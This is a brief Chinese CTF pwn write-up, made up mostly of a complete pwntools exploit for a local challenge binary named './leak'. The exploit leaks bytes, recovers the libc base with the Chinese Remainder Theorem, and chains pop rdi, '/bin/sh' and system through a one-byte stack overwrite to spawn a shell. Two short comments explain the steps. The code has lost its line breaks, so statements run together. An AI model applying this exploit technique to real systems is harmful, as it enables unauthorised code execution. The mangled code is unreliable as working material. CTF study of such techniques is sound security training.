查看保护
查看ida
先放exp
完整exp:
from pwn import*
from sympy.ntheory.modular import crt
context(log_level='debug',arch='amd64')while True:p=process('./leak')ps=[101,103,107,109,113,127]p.sendafter(b'secret\n',bytes(ps))cs=[0]*6for i in range(6):cs[i]=u32(p.recv(1).ljust(4,b'\x00'))print(hex(cs[i]))onestack=u32(p.recv(1).ljust(4,b'\x00'))if onestack+0x58>0xff:p.close()continueprint("onestack"+hex(onestack))res=crt(ps,cs)[0]n=1for i in range(0,6):n*=ps[i]c=0stdout=0while True:stdout=res+c*nif (stdout>>44)==0x07:if (stdout&0xfff)==0x780:breakc+=1assert c<100libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')libcbase=stdout-libc.sym['_IO_2_1_stdout_']ret=libcbase+0x29139pop_rdi=libcbase+0x2a3e5system=libcbase+libc.sym['system']binsh=libcbase+next(libc.search(b'/bin/sh'))payload=p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)+p8((onestack+0x58)&0xff)p.send(payload)#p.send(b'aa')p.interactive()break
#解释点1:这里是接收程序输出的六次结果来解中国剩余定理来算出stdout的地址,算出libc基地址。
#解释点2:这里最后覆盖一个字节的栈地址是为了把payload全覆盖到返回地址上去。这个是从汇编指令上看的
这里把地址移动到rcx之后就以rcx内的值来确定移动位置,因为rbp+buf的位置存的是栈上地址,如果我们把最后一个字节覆盖掉就可以控制rcx的值,从而控制payload移动的位置,执行getshell。